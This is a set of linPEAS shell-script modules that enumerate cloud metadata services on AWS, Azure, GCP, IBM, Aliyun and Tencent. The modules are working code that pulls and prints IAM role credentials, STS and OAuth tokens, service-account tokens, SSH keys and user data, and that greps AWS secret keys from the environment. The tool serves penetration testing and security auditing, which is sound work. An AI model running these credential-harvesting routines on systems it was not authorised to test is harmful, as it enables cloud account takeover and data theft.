exec_with_jq eval $ibm_req "http://169.254.169.254/metadata/v1/placement_groups?version=2022-03-01"
print_3title "IAM credentials"
exec_with_jq eval $ibm_req -X POST "http://169.254.169.254/instance_identity/v1/iam_token?version=2022-03-01"
fi
fi
fi
# Azure VM Enumeration
if [ "$is_az_vm" = "Yes" ]; then
print_2title "Azure VM Enumeration"
HEADER="Metadata:true"
URL="http://169.254.169.254/metadata"
API_VERSION="2021-12-13" # https://learn.microsoft.com/en-us/azure/virtual-machines/instance-metadata-service?tabs=linux#supported-api-versions
az_req=""
if [ "$(command -v curl)" ]; then
az_req="curl -s -f -H '$HEADER'"
elif [ "$(command -v wget)" ]; then
az_req="wget -q -O - -H '$HEADER'"
else
echo "Neither curl nor wget were found, I can't enumerate the metadata service :("
fi
if [ "$az_req" ]; then
print_3title "Instance details"
exec_with_jq eval $az_req "$URL/instance?api-version=$API_VERSION"
print_3title "Load Balancer details"
exec_with_jq eval $az_req "$URL/loadbalancer?api-version=$API_VERSION"
print_3title "Management token"
exec_with_jq eval $az_req "$URL/identity/oauth2/token?api-version=$API_VERSION\&resource=https://management.azure.com/"
print_3title "Graph token"
exec_with_jq eval $az_req "$URL/identity/oauth2/token?api-version=$API_VERSION\&resource=https://graph.microsoft.com/"
print_3title "Vault token"
exec_with_jq eval $az_req "$URL/identity/oauth2/token?api-version=$API_VERSION\&resource=https://vault.azure.net/"
print_3title "Storage token"
exec_with_jq eval $az_req "$URL/identity/oauth2/token?api-version=$API_VERSION\&resource=https://storage.azure.com/"
fi
fi
if [ "$check_az_app" = "Yes" ]; then
print_2title "Azure App Service Enumeration"
echo "I haven't tested this one, if it doesn't work, please send a PR fixing and adding functionality :)"
HEADER="secret:$IDENTITY_HEADER"
az_req=""
if [ "$(command -v curl)" ]; then
az_req="curl -s -f -H '$HEADER'"
elif [ "$(command -v wget)" ]; then
az_req="wget -q -O - -H '$HEADER'"
else
echo "Neither curl nor wget were found, I can't enumerate the metadata service :("
fi
if [ "$az_req" ]; then
print_3title "Management token"
exec_with_jq eval $az_req "$IDENTITY_ENDPOINT?api-version=$API_VERSION\&resource=https://management.azure.com/"
print_3title "Graph token"
exec_with_jq eval $az_req "$IDENTITY_ENDPOINT?api-version=$API_VERSION\&resource=https://graph.microsoft.com/"
print_3title "Vault token"
exec_with_jq eval $az_req "$IDENTITY_ENDPOINT?api-version=$API_VERSION\&resource=https://vault.azure.net/"
print_3title "Storage token"
exec_with_jq eval $az_req "$IDENTITY_ENDPOINT?api-version=$API_VERSION\&resource=https://storage.azure.com/"
fi
fi

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# Title: Cloud - IBM Cloud
# ID: CL_IBM_Cloud
# Author: Carlos Polop
# Last Update: 22-08-2023
# Description: IBM Cloud Enumeration
# License: GNU GPL
# Version: 1.0
# Functions Used: check_ibm_vm, print_2title, print_3title
# Global Variables: $IBM_TOKEN, $is_ibm_vm
# Initial Functions: check_ibm_vm
# Generated Global Variables: $TOKEN_HEADER, $ACCEPT_HEADER, $URL, $ibm_req
# Fat linpeas: 0
# Small linpeas: 0
if [ "$is_ibm_vm" = "Yes" ]; then
print_2title "IBM Cloud Enumeration"
if ! [ "$IBM_TOKEN" ]; then
echo "Couldn't get the metadata token:("
else
TOKEN_HEADER="Authorization: Bearer $IBM_TOKEN"
ACCEPT_HEADER="Accept: application/json"
URL="http://169.254.169.254/latest/meta-data"
ibm_req=""
if [ "$(command -v curl || echo -n '')" ]; then
ibm_req="curl -s -f -L -H '$TOKEN_HEADER' -H '$ACCEPT_HEADER'"
elif [ "$(command -v wget || echo -n '')" ]; then
ibm_req="wget -q -O - -H '$TOKEN_HEADER' -H '$ACCEPT_HEADER'"
else
echo "Neither curl nor wget were found, I can't enumerate the metadata service :("
fi
if [ "$ibm_req" ]; then
print_3title "Instance Details"
exec_with_jq eval $ibm_req "http://169.254.169.254/metadata/v1/instance?version=2022-03-01"
print_3title "Keys and User data"
exec_with_jq eval $ibm_req "http://169.254.169.254/metadata/v1/instance/initialization?version=2022-03-01"
exec_with_jq eval $ibm_req "http://169.254.169.254/metadata/v1/keys?version=2022-03-01"
print_3title "Placement Groups"
exec_with_jq eval $ibm_req "http://169.254.169.254/metadata/v1/placement_groups?version=2022-03-01"
print_3title "IAM credentials"
exec_with_jq eval $ibm_req -X POST "http://169.254.169.254/instance_identity/v1/iam_token?version=2022-03-01"
fi
fi
echo ""
fi

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# Title: Cloud - Ali Cloud
# ID: CL_Ali_Cloud
# Author: Esonhugh
# Last Update: 22-01-2024
# Description: Ali Cloud Platform Enumeration
# License: GNU GPL
# Version: 1.0
# Functions Used: print_2title, print_3title, print_info
# Global Variables: $is_aliyun_ecs
# Initial Functions: check_aliyun_ecs
# Generated Global Variables: $aliyun_req, $aliyun_token, $i_hostname, $i_instance_id, $i_instance_name, $i_instance_type, $i_aliyun_owner_account, $i_region_id, $i_zone_id, $i_pub_ipv4, $i_priv_ipv4, $net_dns, $mac, $sa, $key
# Fat linpeas: 0
# Small linpeas: 1
if [ "$is_aliyun_ecs" = "Yes" ]; then
aliyun_req=""
aliyun_token=""
if [ "$(command -v curl)" ]; then
aliyun_token=$(curl -X PUT "http://100.100.100.200/latest/api/token" -H "X-aliyun-ecs-metadata-token-ttl-seconds:1000")
aliyun_req='curl -s -f -L -H "X-aliyun-ecs-metadata-token: $aliyun_token"'
elif [ "$(command -v wget)" ]; then
aliyun_token=$(wget -q -O - --method PUT "http://100.100.100.200/latest/api/token" --header "X-aliyun-ecs-metadata-token-ttl-seconds:1000")
aliyun_req='wget -q -O --header "X-aliyun-ecs-metadata-token: $aliyun_token"'
else
echo "Neither curl nor wget were found, I can't enumerate the metadata service :("
fi
if [ "$aliyun_token" ]; then
print_2title "Aliyun ECS Enumeration"
print_info "https://help.aliyun.com/zh/ecs/user-guide/view-instance-metadata"
echo ""
print_3title "Instance Info"
i_hostname=$(eval $aliyun_req http://100.100.100.200/latest/meta-data/hostname)
[ "$i_hostname" ] && echo "Hostname: $i_hostname"
i_instance_id=$(eval $aliyun_req http://100.100.100.200/latest/meta-data/instance-id)
[ "$i_instance_id" ] && echo "Instance ID: $i_instance_id"
# no dup of hostname if in ACK it possibly leaks aliyun cluster service ClusterId
i_instance_name=$(eval $aliyun_req http://100.100.100.200/latest/meta-data/instance/instance-name)
[ "$i_instance_name" ] && echo "Instance Name: $i_instance_name"
i_instance_type=$(eval $aliyun_req http://100.100.100.200/latest/meta-data/instance/instance-type)
[ "$i_instance_type" ] && echo "Instance Type: $i_instance_type"
i_aliyun_owner_account=$(eval $aliyun_req http://i00.100.100.200/latest/meta-data/owner-account-id)
[ "$i_aliyun_owner_account" ] && echo "Aliyun Owner Account: $i_aliyun_owner_account"
i_region_id=$(eval $aliyun_req http://100.100.100.200/latest/meta-data/region-id)
[ "$i_region_id" ] && echo "Region ID: $i_region_id"
i_zone_id=$(eval $aliyun_req http://100.100.100.200/latest/meta-data/zone-id)
[ "$i_zone_id" ] && echo "Zone ID: $i_zone_id"
echo ""
print_3title "Network Info"
i_pub_ipv4=$(eval $aliyun_req http://100.100.100.200/latest/meta-data/public-ipv4)
[ "$i_pub_ipv4" ] && echo "Public IPv4: $i_pub_ipv4"
i_priv_ipv4=$(eval $aliyun_req http://100.100.100.200/latest/meta-data/private-ipv4)
[ "$i_priv_ipv4" ] && echo "Private IPv4: $i_priv_ipv4"
net_dns=$(eval $aliyun_req http://100.100.100.200/latest/meta-data/dns-conf/nameservers)
[ "$net_dns" ] && echo "DNS: $net_dns"
echo "========"
for mac in $(eval $aliyun_req http://100.100.100.200/latest/meta-data/network/interfaces/macs/); do
echo " Mac: $mac"
echo " Mac interface id: "$(eval $aliyun_req http://100.100.100.200/latest/meta-data/network/interfaces/macs/$mac/network-interface-id)
echo " Mac netmask: "$(eval $aliyun_req http://100.100.100.200/latest/meta-data/network/interfaces/macs/$mac/netmask)
echo " Mac vpc id: "$(eval $aliyun_req http://100.100.100.200/latest/meta-data/network/interfaces/macs/$mac/vpc-id)
echo " Mac vpc cidr: "$(eval $aliyun_req http://100.100.100.200/latest/meta-data/network/interfaces/macs/$mac/vpc-cidr-block)
echo " Mac vpc cidr (v6): "$(eval $aliyun_req http://100.100.100.200/latest/meta-data/network/interfaces/macs/$mac/vpc-ipv6-cidr-blocks)
echo " Mac vswitch id: "$(eval $aliyun_req http://100.100.100.200/latest/meta-data/network/interfaces/macs/$mac/vswitch-id)
echo " Mac vswitch cidr: "$(eval $aliyun_req http://100.100.100.200/latest/meta-data/network/interfaces/macs/$mac/vswitch-cidr-block)
echo " Mac vswitch cidr (v6): "$(eval $aliyun_req http://100.100.100.200/latest/meta-data/network/interfaces/macs/$mac/vswitch-ipv6-cidr-block)
echo " Mac private ips: "$(eval $aliyun_req http://100.100.100.200/latest/meta-data/network/interfaces/macs/$mac/private-ipv4s)
echo " Mac private ips (v6): "$(eval $aliyun_req http://100.100.100.200/latest/meta-data/network/interfaces/macs/$mac/ipv6s)
echo " Mac gateway: "$(eval $aliyun_req http://100.100.100.200/latest/meta-data/network/interfaces/macs/$mac/gateway)
echo " Mac gateway (v6): "$(eval $aliyun_req http://100.100.100.200/latest/meta-data/network/interfaces/macs/$mac/ipv6-gateway)
echo "======="
done
echo ""
print_3title "Service account "
for sa in $(eval $aliyun_req "http://100.100.100.200/latest/meta-data/ram/security-credentials/"); do
echo " Name: $sa"
echo " STS Token: "$(eval $aliyun_req "http://100.100.100.200/latest/meta-data/ram/security-credentials/$sa")
echo " =============="
done
echo ""
print_3title "Possbile admin ssh Public keys"
for key in $(eval $aliyun_req "http://100.100.100.200/latest/meta-data/public-keys/"); do
echo " Name: $key"
echo " Key: "$(eval $aliyun_req "http://100.100.100.200/latest/meta-data/public-keys/${key}openssh-key")
echo " =============="
done
fi
fi

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# Title: Cloud - Tencent Cloud
# ID: CL_Tencent_Cloud
# Author: Shadowabi
# Last Update: 22-01-2024
# Description: Tencent Cloud Platform Enumeration
# License: GNU GPL
# Version: 1.0
# Functions Used: print_2title, print_3title, print_info
# Global Variables: $is_tencent_cvm
# Initial Functions: check_tencent_cvm
# Generated Global Variables: $tencent_req, $i_tencent_owner_account, $i_hostname, $i_instance_id, $i_instance_name, $i_instance_type, $i_region_id, $i_zone_id, $mac_tencent, $lipv4, $sa_tencent, $key_tencent
# Fat linpeas: 0
# Small linpeas: 1
if [ "$is_tencent_cvm" = "Yes" ]; then
tencent_req=""
if [ "$(command -v curl)" ]; then
tencent_req='curl --connect-timeout 2 -sfkG'
elif [ "$(command -v wget)" ]; then
tencent_req='wget -q --timeout 2 --tries 1 -O -'
else
echo "Neither curl nor wget were found, I can't enumerate the metadata service :("
fi
print_2title "Tencent CVM Enumeration"
print_info "https://cloud.tencent.com/document/product/213/4934"
# Todo: print_info "Hacktricks Documents needs to be updated"
echo ""
print_3title "Instance Info"
i_tencent_owner_account=$(eval $tencent_req http://169.254.0.23/latest/meta-data/app-id)
[ "$i_tencent_owner_account" ] && echo "Tencent Owner Account: $i_tencent_owner_account"
i_hostname=$(eval $tencent_req http://169.254.0.23/latest/meta-data/hostname)
[ "$i_hostname" ] && echo "Hostname: $i_hostname"
i_instance_id=$(eval $tencent_req http://169.254.0.23/latest/meta-data/instance-id)
[ "$i_instance_id" ] && echo "Instance ID: $i_instance_id"
i_instance_id=$(eval $tencent_req http://169.254.0.23/latest/meta-data/uuid)
[ "$i_instance_id" ] && echo "Instance ID: $i_instance_id"
i_instance_name=$(eval $tencent_req http://169.254.0.23/latest/meta-data/instance-name)
[ "$i_instance_name" ] && echo "Instance Name: $i_instance_name"
i_instance_type=$(eval $tencent_req http://169.254.0.23/latest/meta-data/instance/instance-type)
[ "$i_instance_type" ] && echo "Instance Type: $i_instance_type"
i_region_id=$(eval $tencent_req http://169.254.0.23/latest/meta-data/placement/region)
[ "$i_region_id" ] && echo "Region ID: $i_region_id"
i_zone_id=$(eval $tencent_req http://169.254.0.23/latest/meta-data/placement/zone)
[ "$i_zone_id" ] && echo "Zone ID: $i_zone_id"
echo ""
print_3title "Network Info"
for mac_tencent in $(eval $tencent_req http://169.254.0.23/latest/meta-data/network/interfaces/macs/); do
echo " Mac: $mac_tencent"
echo " Primary IPv4: "$(eval $tencent_req http://169.254.0.23/latest/meta-data/network/interfaces/macs/$mac_tencent/primary-local-ipv4)
echo " Mac public ips: "$(eval $tencent_req http://169.254.0.23/latest/meta-data/network/interfaces/macs/$mac_tencent/public-ipv4s)
echo " Mac vpc id: "$(eval $tencent_req http://169.254.0.23/latest/meta-data/network/interfaces/macs/$mac_tencent/vpc-id)
echo " Mac subnet id: "$(eval $tencent_req http://169.254.0.23/latest/meta-data/network/interfaces/macs/$mac_tencent/subnet-id)
for lipv4 in $(eval $tencent_req http://169.254.0.23/latest/meta-data/network/interfaces/macs/$mac_tencent/local-ipv4s); do
echo " Mac local ips: "$(eval $tencent_req http://169.254.0.23/latest/meta-data/network/interfaces/macs/$mac_tencent/local-ipv4s/$lipv4/local-ipv4)
echo " Mac gateways: "$(eval $tencent_req http://169.254.0.23/latest/meta-data/network/interfaces/macs/$mac_tencent/local-ipv4s/$lipv4/gateway)
echo " Mac public ips: "$(eval $tencent_req http://169.254.0.23/latest/meta-data/network/interfaces/macs/$mac_tencent/local-ipv4s/$lipv4/public-ipv4)
echo " Mac public ips mode: "$(eval $tencent_req http://169.254.0.23/latest/meta-data/network/interfaces/macs/$mac_tencent/local-ipv4s/$lipv4/public-ipv4-mode)
echo " Mac subnet mask: "$(eval $tencent_req http://169.254.0.23/latest/meta-data/network/interfaces/macs/$mac_tencent/local-ipv4s/$lipv4/subnet-mask)
done
echo "======="
done
echo ""
print_3title "Service account "
for sa_tencent in $(eval $tencent_req "http://169.254.0.23/latest/meta-data/cam/security-credentials/"); do
echo " Name: $sa_tencent"
echo " STS Token: "$(eval $tencent_req "http://169.254.0.23/latest/meta-data/cam/security-credentials/$sa_tencent")
echo " =============="
done
echo ""
print_3title "Possbile admin ssh Public keys"
for key_tencent in $(eval $tencent_req "http://169.254.0.23/latest/meta-data/public-keys/"); do
echo " Name: $key_tencent"
echo " Key: "$(eval $tencent_req "http://169.254.0.23/latest/meta-data/public-keys/${key_tencent}openssh-key")
echo " =============="
done
echo ""
print_3title "User Data"
eval $tencent_req http://169.254.0.23/latest/user-data; echo ""
fi

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# Title: Cloud - Check if in cloud
# ID: CL_Check_if_in_cloud
# Author: Carlos Polop
# Last Update: 22-08-2023
# Description: Check if the current system is inside a cloud environment
# License: GNU GPL
# Version: 1.0
# Functions Used: check_aws_codebuild, check_aws_ec2, check_aws_ecs, check_aws_lambda, check_az_app, check_az_vm, check_do, check_gcp, check_ibm_vm, check_tencent_cvm, print_list
# Global Variables: $is_aws_codebuild, $is_aws_ecs, $is_aws_ec2, , $is_aws_lambda, $is_az_app, $is_az_vm, $is_do, $is_gcp_vm, $is_gcp_function, $is_ibm_vm, $is_aws_ec2_beanstalk, $is_aliyun_ecs, $is_tencent_cvm
# Initial Functions: check_gcp, check_aws_ecs, check_aws_ec2, check_aws_lambda, check_aws_codebuild, check_do, check_ibm_vm, check_az_vm, check_az_app, check_aliyun_ecs, check_tencent_cvm
# Generated Global Variables:
# Fat linpeas: 0
# Small linpeas: 1
print_list "GCP Virtual Machine? ................. $is_gcp_vm\n"$NC | sed "s,Yes,${SED_RED}," | sed "s,No,${SED_GREEN},"
print_list "GCP Cloud Funtion? ................... $is_gcp_function\n"$NC | sed "s,Yes,${SED_RED}," | sed "s,No,${SED_GREEN},"
print_list "AWS ECS? ............................. $is_aws_ecs\n"$NC | sed "s,Yes,${SED_RED}," | sed "s,No,${SED_GREEN},"
print_list "AWS EC2? ............................. $is_aws_ec2\n"$NC | sed "s,Yes,${SED_RED}," | sed "s,No,${SED_GREEN},"
print_list "AWS EC2 Beanstalk? ................... $is_aws_ec2_beanstalk\n"$NC | sed "s,Yes,${SED_RED}," | sed "s,No,${SED_GREEN},"
print_list "AWS Lambda? .......................... $is_aws_lambda\n"$NC | sed "s,Yes,${SED_RED}," | sed "s,No,${SED_GREEN},"
print_list "AWS Codebuild? ....................... $is_aws_codebuild\n"$NC | sed "s,Yes,${SED_RED}," | sed "s,No,${SED_GREEN},"
print_list "DO Droplet? .......................... $is_do\n"$NC | sed "s,Yes,${SED_RED}," | sed "s,No,${SED_GREEN},"
print_list "IBM Cloud VM? ........................ $is_ibm_vm\n"$NC | sed "s,Yes,${SED_RED}," | sed "s,No,${SED_GREEN},"
print_list "Azure VM? ............................ $is_az_vm\n"$NC | sed "s,Yes,${SED_RED}," | sed "s,No,${SED_GREEN},"
print_list "Azure APP? ........................... $is_az_app\n"$NC | sed "s,Yes,${SED_RED}," | sed "s,No,${SED_GREEN},"
print_list "Aliyun ECS? .......................... $is_aliyun_ecs\n"$NC | sed "s,Yes,${SED_RED}," | sed "s,No,${SED_GREEN},"
print_list "Tencent CVM? ......................... $is_tencent_cvm\n"$NC | sed "s,Yes,${SED_RED}," | sed "s,No,${SED_GREEN},"
echo ""

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# Title: Cloud - AWS EC2
# ID: CL_AWS_EC2
# Author: Carlos Polop
# Last Update: 22-08-2023
# Description: AWS EC2 Enumeration
# License: GNU GPL
# Version: 1.0
# Functions Used: check_aws_ec2, exec_with_jq, print_2title, print_3title
# Global Variables: $is_aws_ec2
# Initial Functions: check_aws_ec2
# Generated Global Variables: $aws_req, $HEADER, $URL, $mac, $role
# Fat linpeas: 0
# Small linpeas: 1
if [ "$is_aws_ec2" = "Yes" ]; then
print_2title "AWS EC2 Enumeration"
HEADER="X-aws-ec2-metadata-token: "
URL="http://169.254.169.254/latest/meta-data"
aws_req=""
if [ "$(command -v curl || echo -n '')" ]; then
aws_req="curl -s -f -L -H '$HEADER'"
elif [ "$(command -v wget || echo -n '')" ]; then
aws_req="wget -q -O - -H '$HEADER'"
else
echo "Neither curl nor wget were found, I can't enumerate the metadata service :("
fi
if [ "$aws_req" ]; then
printf "ami-id: "; eval $aws_req "$URL/ami-id"; echo ""
printf "instance-action: "; eval $aws_req "$URL/instance-action"; echo ""
printf "instance-id: "; eval $aws_req "$URL/instance-id"; echo ""
printf "instance-life-cycle: "; eval $aws_req "$URL/instance-life-cycle"; echo ""
printf "instance-type: "; eval $aws_req "$URL/instance-type"; echo ""
printf "region: "; eval $aws_req "$URL/placement/region"; echo ""
echo ""
print_3title "Account Info"
exec_with_jq eval $aws_req "$URL/identity-credentials/ec2/info"; echo ""
echo ""
print_3title "Network Info"
for mac in $(eval $aws_req "$URL/network/interfaces/macs/" 2>/dev/null); do
echo "Mac: $mac"
printf "Owner ID: "; eval $aws_req "$URL/network/interfaces/macs/$mac/owner-id"; echo ""
printf "Public Hostname: "; eval $aws_req "$URL/network/interfaces/macs/$mac/public-hostname"; echo ""
printf "Security Groups: "; eval $aws_req "$URL/network/interfaces/macs/$mac/security-groups"; echo ""
echo "Private IPv4s:"; eval $aws_req "$URL/network/interfaces/macs/$mac/ipv4-associations/"; echo ""
printf "Subnet IPv4: "; eval $aws_req "$URL/network/interfaces/macs/$mac/subnet-ipv4-cidr-block"; echo ""
echo "PrivateIPv6s:"; eval $aws_req "$URL/network/interfaces/macs/$mac/ipv6s"; echo ""
printf "Subnet IPv6: "; eval $aws_req "$URL/network/interfaces/macs/$mac/subnet-ipv6-cidr-blocks"; echo ""
echo "Public IPv4s:"; eval $aws_req "$URL/network/interfaces/macs/$mac/public-ipv4s"; echo ""
echo ""
done
echo ""
print_3title "IAM Role"
exec_with_jq eval $aws_req "$URL/iam/info"; echo ""
for role in $(eval $aws_req "$URL/iam/security-credentials/" 2>/dev/null); do
echo "Role: $role"
exec_with_jq eval $aws_req "$URL/iam/security-credentials/$role"; echo ""
echo ""
done
echo ""
print_3title "User Data"
eval $aws_req "http://169.254.169.254/latest/user-data"; echo ""
echo ""
print_3title "EC2 Security Credentials"
exec_with_jq eval $aws_req "$URL/identity-credentials/ec2/security-credentials/ec2-instance"; echo ""
print_3title "SSM Runnig"
ps aux 2>/dev/null | grep "ssm-agent" | grep -Ev "grep|sed s,ssm-agent" | sed "s,ssm-agent,${SED_RED},"
fi
echo ""
fi

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# Title: Cloud - AWS ECS
# ID: CL_AWS_ECS
# Author: Carlos Polop
# Last Update: 22-08-2023
# Description: AWS ECS Enumeration
# License: GNU GPL
# Version: 1.0
# Functions Used: check_aws_ecs, exec_with_jq, print_2title, print_3title
# Global Variables: $aws_ecs_metadata_uri, $aws_ecs_service_account_uri, $is_aws_ecs
# Initial Functions: check_aws_ecs
# Generated Global Variables: $aws_ecs_req
# Fat linpeas: 0
# Small linpeas: 1
if [ "$is_aws_ecs" = "Yes" ]; then
print_2title "AWS ECS Enumeration"
aws_ecs_req=""
if [ "$(command -v curl || echo -n '')" ]; then
aws_ecs_req='curl -s -f'
elif [ "$(command -v wget || echo -n '')" ]; then
aws_ecs_req='wget -q -O -'
else
echo "Neither curl nor wget were found, I can't enumerate the metadata service :("
fi
if [ "$aws_ecs_metadata_uri" ]; then
print_3title "Container Info"
exec_with_jq eval $aws_ecs_req "$aws_ecs_metadata_uri"
echo ""
print_3title "Task Info"
exec_with_jq eval $aws_ecs_req "$aws_ecs_metadata_uri/task"
echo ""
else
echo "I couldn't find ECS_CONTAINER_METADATA_URI env var to get container info"
fi
if [ "$aws_ecs_service_account_uri" ]; then
print_3title "IAM Role"
exec_with_jq eval $aws_ecs_req "$aws_ecs_service_account_uri"
echo ""
else
echo "I couldn't find AWS_CONTAINER_CREDENTIALS_RELATIVE_URI env var to get IAM role info (the task is running without a task role probably)"
fi
echo ""
fi

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# Title: Cloud - AWS Lambda
# ID: CL_AWS_Lambda
# Author: Carlos Polop
# Last Update: 22-08-2023
# Description: AWS Lambda Enumeration
# License: GNU GPL
# Version: 1.0
# Functions Used: check_aws_lambda, print_2title
# Global Variables: $is_aws_lambda
# Initial Functions: check_aws_lambda
# Generated Global Variables:
# Fat linpeas: 0
# Small linpeas: 0
if [ "$is_aws_lambda" = "Yes" ]; then
print_2title "AWS Lambda Enumeration"
printf "Function name: "; env | grep AWS_LAMBDA_FUNCTION_NAME
printf "Region: "; env | grep AWS_REGION
printf "Secret Access Key: "; env | grep AWS_SECRET_ACCESS_KEY
printf "Access Key ID: "; env | grep AWS_ACCESS_KEY_ID
printf "Session token: "; env | grep AWS_SESSION_TOKEN
printf "Security token: "; env | grep AWS_SECURITY_TOKEN
printf "Runtime API: "; env | grep AWS_LAMBDA_RUNTIME_API
printf "Event data: "; (curl -s "http://${AWS_LAMBDA_RUNTIME_API}/2018-06-01/runtime/invocation/next" 2>/dev/null || wget -q -O - "http://${AWS_LAMBDA_RUNTIME_API}/2018-06-01/runtime/invocation/next")
echo ""
fi

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linPEAS/builder/linpeas_parts/3_cloud/5_AWS_Codebuild.sh Normal file
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# Title: Cloud - AWS Codebuild
# ID: CL_AWS_Codebuild
# Author: Carlos Polop
# Last Update: 22-08-2023
# Description: AWS Codebuild Enumeration
# License: GNU GPL
# Version: 1.0
# Functions Used: check_aws_codebuild, exec_with_jq, print_2title, print_3title
# Global Variables: $is_aws_codebuild
# Initial Functions: check_aws_codebuild
# Generated Global Variables: $aws_req, $METADATA_URL, $CREDS_PATH, $URL_CREDS
# Fat linpeas: 0
# Small linpeas: 0
if [ "$is_aws_codebuild" = "Yes" ]; then
print_2title "AWS Codebuild Enumeration"
aws_req=""
if [ "$(command -v curl || echo -n '')" ]; then
aws_req="curl -s -f"
elif [ "$(command -v wget || echo -n '')" ]; then
aws_req="wget -q -O -"
else
echo "Neither curl nor wget were found, I can't enumerate the metadata service :("
echo "The addresses are in /codebuild/output/tmp/env.sh"
fi
if [ "$aws_req" ]; then
print_3title "Credentials"
CREDS_PATH=$(cat /codebuild/output/tmp/env.sh | grep "AWS_CONTAINER_CREDENTIALS_RELATIVE_URI" | cut -d "'" -f 2)
URL_CREDS="http://169.254.170.2$CREDS_PATH" # Already has a / at the begginig
exec_with_jq eval $aws_req "$URL_CREDS"; echo ""
print_3title "Container Info"
METADATA_URL=$(cat /codebuild/output/tmp/env.sh | grep "ECS_CONTAINER_METADATA_URI" | cut -d "'" -f 2)
exec_with_jq eval $aws_req "$METADATA_URL"; echo ""
fi
echo ""
fi

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# Title: Cloud - Google Cloud Function
# ID: CL_Google_cloud_function
# Author: Carlos Polop
# Last Update: 22-08-2023
# Description: Google Cloud Function Enumeration
# License: GNU GPL
# Version: 1.0
# Functions Used: check_gcp, print_2title, print_3title, print_info
# Global Variables: $is_gcp_function, $GCP_GOOD_SCOPES, $GCP_BAD_SCOPES
# Initial Functions: check_gcp
# Generated Global Variables: $gcp_req, $p_id, $p_num, $inst_id, $inst_zone, $mtls_info
# Fat linpeas: 0
# Small linpeas: 1
if [ "$is_gcp_function" = "Yes" ]; then
gcp_req=""
if [ "$(command -v curl)" ]; then
gcp_req='curl -s -f -L -H "Metadata-Flavor: Google"'
elif [ "$(command -v wget)" ]; then
gcp_req='wget -q -O - --header "Metadata-Flavor: Google"'
else
echo "Neither curl nor wget were found, I can't enumerate the metadata service :("
fi
# GCP Enumeration
if [ "$gcp_req" ]; then
print_2title "Google Cloud Platform Enumeration"
print_info "https://cloud.hacktricks.xyz/pentesting-cloud/gcp-security"
## GC Project Info
p_id=$(eval $gcp_req 'http://metadata.google.internal/computeMetadata/v1/project/project-id')
[ "$p_id" ] && echo "Project-ID: $p_id"
p_num=$(eval $gcp_req 'http://metadata.google.internal/computeMetadata/v1/project/numeric-project-id')
[ "$p_num" ] && echo "Project Number: $p_num"
# Instance Info
inst_id=$(eval $gcp_req http://metadata.google.internal/computeMetadata/v1/instance/id)
[ "$inst_id" ] && echo "Instance ID: $inst_id"
mtls_info=$(eval $gcp_req http://metadata/computeMetadata/v1/instance/platform-security/auto-mtls-configuration)
[ "$mtls_info" ] && echo "MTLS info: $mtls_info"
inst_zone=$(eval $gcp_req http://metadata.google.internal/computeMetadata/v1/instance/zone)
[ "$inst_zone" ] && echo "Zone: $inst_zone"
echo ""
print_3title "Service Accounts"
for sa in $(eval $gcp_req "http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/"); do
echo " Name: $sa"
echo " Email: "$(eval $gcp_req "http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/${sa}email")
echo " Aliases: "$(eval $gcp_req "http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/${sa}aliases")
echo " Identity: "$(eval $gcp_req "http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/${sa}identity")
echo " Scopes: "$(eval $gcp_req "http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/${sa}scopes") | sed -${E} "s,${GCP_GOOD_SCOPES},${SED_GREEN},g" | sed -${E} "s,${GCP_BAD_SCOPES},${SED_RED},g"
echo " Token: "$(eval $gcp_req "http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/${sa}token")
echo " ============== "
done
fi
fi

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# Title: Cloud - Google Cloud VM
# ID: CL_Google_cloud_vm
# Author: Carlos Polop
# Last Update: 22-08-2023
# Description: Google Cloud VM Enumeration
# License: GNU GPL
# Version: 1.0
# Functions Used: check_gcp, print_2title, print_3title, print_info
# Global Variables: $is_gcp_vm, $GCP_GOOD_SCOPES, $GCP_BAD_SCOPES
# Initial Functions: check_gcp
# Generated Global Variables: $gcp_req, $p_id, $p_num, $pssh_k, $p_attrs, $osl_u, $osl_g, $osl_sk, $osl_au, $inst_d, $inst_hostn, $inst_id, $inst_img, $inst_mt, $inst_n, $inst_tag, $inst_zone, $inst_k8s_loc, $inst_k8s_name, $inst_k8s_osl_e, $inst_k8s_klab, $inst_k8s_kubec, $inst_k8s_kubenv, $iface
# Fat linpeas: 0
# Small linpeas: 1
if [ "$is_gcp_vm" = "Yes" ]; then
gcp_req=""
if [ "$(command -v curl || echo -n '')" ]; then
gcp_req='curl -s -f -L -H "Metadata-Flavor: Google"'
elif [ "$(command -v wget || echo -n '')" ]; then
gcp_req='wget -q -O - --header "Metadata-Flavor: Google"'
else
echo "Neither curl nor wget were found, I can't enumerate the metadata service :("
fi
if [ "$gcp_req" ]; then
print_2title "Google Cloud Platform Enumeration"
print_info "https://book.hacktricks.xyz/cloud-security/gcp-security"
## GC Project Info
p_id=$(eval $gcp_req 'http://metadata.google.internal/computeMetadata/v1/project/project-id')
[ "$p_id" ] && echo "Project-ID: $p_id"
p_num=$(eval $gcp_req 'http://metadata.google.internal/computeMetadata/v1/project/numeric-project-id')
[ "$p_num" ] && echo "Project Number: $p_num"
pssh_k=$(eval $gcp_req 'http://metadata.google.internal/computeMetadata/v1/project/attributes/ssh-keys')
[ "$pssh_k" ] && echo "Project SSH-Keys: $pssh_k"
p_attrs=$(eval $gcp_req 'http://metadata.google.internal/computeMetadata/v1/project/attributes/?recursive=true')
[ "$p_attrs" ] && echo "All Project Attributes: $p_attrs"
# OSLogin Info
osl_u=$(eval $gcp_req http://metadata.google.internal/computeMetadata/v1/oslogin/users)
[ "$osl_u" ] && echo "OSLogin users: $osl_u"
osl_g=$(eval $gcp_req http://metadata.google.internal/computeMetadata/v1/oslogin/groups)
[ "$osl_g" ] && echo "OSLogin Groups: $osl_g"
osl_sk=$(eval $gcp_req http://metadata.google.internal/computeMetadata/v1/oslogin/security-keys)
[ "$osl_sk" ] && echo "OSLogin Security Keys: $osl_sk"
osl_au=$(eval $gcp_req http://metadata.google.internal/computeMetadata/v1/oslogin/authorize)
[ "$osl_au" ] && echo "OSLogin Authorize: $osl_au"
# Instance Info
inst_d=$(eval $gcp_req http://metadata.google.internal/computeMetadata/v1/instance/description)
[ "$inst_d" ] && echo "Instance Description: "
inst_hostn=$(eval $gcp_req http://metadata.google.internal/computeMetadata/v1/instance/hostname)
[ "$inst_hostn" ] && echo "Hostname: $inst_hostn"
inst_id=$(eval $gcp_req http://metadata.google.internal/computeMetadata/v1/instance/id)
